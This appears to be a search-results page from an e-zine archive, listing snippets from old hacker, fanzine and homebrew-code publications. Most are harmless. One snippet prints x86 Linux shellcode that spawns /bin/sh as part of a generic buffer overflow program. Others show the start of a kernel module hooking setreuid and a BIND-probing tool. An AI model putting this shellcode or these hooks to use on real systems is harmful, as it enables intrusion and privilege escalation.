#if

2x16: Extract

eZine's profile picture
Published in 
 · 1 month ago
... _SIZE strlen(END_TAG) #define SPLIT_TAG "-[ 2x" #define SPLIT_SIZE strlen(SPLIT_TAG) struct f_name { unsigned char name[256]; struct f_name *next; }; #ifdef __alpha typedef unsigned int uint32; #else typedef unsigned long uint32; #endif struct MD5Context { uint32 buf[4]; uint32 bits[2]; unsigned char in[64]; }; void MD5Init(struct MD5Context *context); void MD5Update(struct MD5Context *context, unsigned char const *buf, unsigned len); void MD5Final(unsigned char digest[16], struct MD5Context *context); void MD5Transform(uint32 buf[4], uint32 const in[16]); typedef struct MD5Context MD5_CTX; #ifndef HIGHFIRST #define byteReverse(buf, len) #else v ...

SEXTANT nummer 7

eZine's profile picture
Published in 
 · 6 months ago
... var tokiga. Också denna gång en LoC-spalt, dock inte lika stor som förra numret. Rolf Strömgren <rolf-str@privat.utfors.se> skickade följande: #ifdef=läsaren_är_ej_Ahrvid_Engholm Sextant är en inåtriktad, hemlig och /så vidare... Klippetiklipp./ Rätt kul, om än kanske aningen styggt. :-) Det mesta har nog sagts redan i den här debatten. Det har varit både intressant och lärorikt. Jag ska nöja mig med den lilla reflektionen att man nog kan säga om båda lägren i diskussionen att 'visst, det kan vara så, men det behöver inte alltid vara så'. Kanske en jämförelse mellan The Magazine of Fantasy & Science Fiction och Isaac A ...

SEXTANT nummer 6

eZine's profile picture
Published in 
 · 6 months ago
... ftersom Rickard har startat en liten skrivgrupp på Internet där inte Ahrvid får vara med. Eva Norman bidrar med en presentation av romans-fandom. *** #ifdef=läsaren_är_ej_Ahrvid_Engholm Sextant är en inåtriktad, hemlig och sluten APA som styrs enväldigt av diktatorn Karl-Johan Norén, som egentligen är en svampliknande organism från Alfa Centauri, hitsänd för att infiltrera och överta sverifandom, fandom och sedan jorden. Metoderna härstammar bland annat från organisationen Gurka, som av vissa numera anses vara ytterst fånig och barnslig, men som givet sina förutsättningar var ytterst framgångsrik. Metoden som Sextant använder i infiltrationen oc ...

Hackers 4 Hackers #0D

eZine's profile picture
Published in 
 · 7 months ago
... oorbeeld module gaan bekijken. Deze heb ik gehaald uit het artikel van plaguez. #define MODULE #define __KERNEL__ #include <linux/config.h> #ifdef MODULE #include <linux/module.h> #include <linux/version.h> #else #define MOD_INC_USE_COUNT #define MOD_DEC_USE_COUNT #endif #include <linux/types.h> #include <linux/fs.h> #include <linux/mm.h> #include <linux/errno.h> #include <asm/segment.h> #include <sys/syscall.h> #include <unistd.h> #include <linux/unistd.h> int errno; /* Hier wordt een pointer gedefineerd die naar de oude setreuid */ ...

Hackers 4 Hackers #6

eZine's profile picture
Published in 
 · 7 months ago
... %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 Appendix B - Generic Buffer Overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\ ...

dbsnatch 1.0

eZine's profile picture
Published in 
 · 7 months ago
... t; #include <arpa/nameser.h> #include <netdb.h> /* bulky shit for printing dnspkts need to link dnspkt.o from dnspkt.c too */ #ifdef DEBUG #include "dnspkt.h" #endif /* prototypes */ int lookup_host(struct sockaddr_in *ra, char *hn, unsigned short rp); void probe_bind(struct sockaddr_in ra); int talk(int sd, char *pkt, int pktl, char opc); int make_keypkt(char *pktbuf, char opc); void print_ver(char *host, int vul, char *buf); void handle_alarm(int signum); /* * here we simply check arguments, resolve the hostname given and * if all is well, initialize the radom seed and probe away. */ void main(argc, argv ...

Tyrone v1.0

eZine's profile picture
Published in 
 · 7 months ago
... .h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <stdlib.h> #include <stdio.h> #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_SYS_TIME_H #include <sys/time.h> #endif #ifdef HAVE_SYS_SELECT_H #include<sys/select.h> #endif #ifdef HAVE_STRINGS_H #include<strings.h> #endif #ifdef HAVE_MALLOC_H #include <malloc.h> #endif #include <netdb.h> #include <string.h> #include <ctype.h> #include "wcommon.h" #define COMMANDSIZE 512 #define ARGSIZE 256 #define SWEEPDELAY 4 /* FUNCTIONS */ void msrand (unsigned int s ...

GP32 demo code (VBlank)

sang's profile picture
Published in 
 · 8 months ago
... e.. GCC version checking shamelessly // taken from _ttl_'s sample player code -> and thus never tested on GCC 2.x something // #ifdef __GCC3x__ void timer4Int(void) __attribute__ ((interrupt ("IRQ"))); #elif defined(__GCC2x__) void timer4Int(void) __attribute__ ((naked)); #else #error "GCC version you are using is not supported"; #endif void timer4Int(void) { #ifdef __GCC2x__ asm volatile ( "stmdb r13!,{r0-r12,lr}" ); #endif hwpal[0] = 0xffff; // just show that interrupt handler got called // Line synchronization! waitline(_line); // Reload & restart the timer4 //*tcntb4 = _pclk; /&# ...

GP32 demo code (offscr)

sang's profile picture
Published in 
 · 8 months ago
... SurfaceSet(&gpDraw); //gpDraw primary surface· setting // 320x240x16 screen mode, 0 pixel offscreen // expects 33MHz HCLK #if 1 *lcdcon1 = ((3 << 8) | (0 << 7) | (3 << 5) | (12 << 1) | (0)); // CLKVAL=3, VNMODE=0, PNRMODE=TFT, BPPMODE=1100 (16bits), ENDID=0 *lcdcon2 = ((1 << 24) | (319 << 14) | (2 << 6) | 1); // VBPD=1, LINEVAL=319, VFPD=2, VSPW=1 *lcdcon3 = ((6 << 19) | (239 << 8) | (2)); // HBPD=6, HOZVAL=239, HFPD=2 *lcdcon4 = ((0 << 24) | (0 << 16) | (4)); // PALADDEN=0, ADDVAL=0, HSPW=4 *lcdcon5 = ((1 << 10) | ...

SPAG Issue 51

eZine's profile picture
Published in 
 · 9 months ago
... st. The rating methods varied as years went by, as the award became more and more similar to the XYZZY Awards, with sub-categories, a ceremony on the #if IRC channel, and real prizes too. Winners of the award: 1999 Non Sarà un'Avventura (It Won't Be an Adventure) by Roberto Barabino 2000 Uno Zombie a Deadville (A Zombie in Deadville) by Tommaso Caldarola 2001 Enigma by Marco Vallarino 2002 La Pietra della Luna (The Moon Stone) by Paolo Lucchesi 2003 Filaments by JB Ferrant (Italian translation by Marco Totolo) The One-Room Game Competition arose from an idea which struck Francesco Cordella in 2002 while playing Andrew Plotkin's Shade ...
loading
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT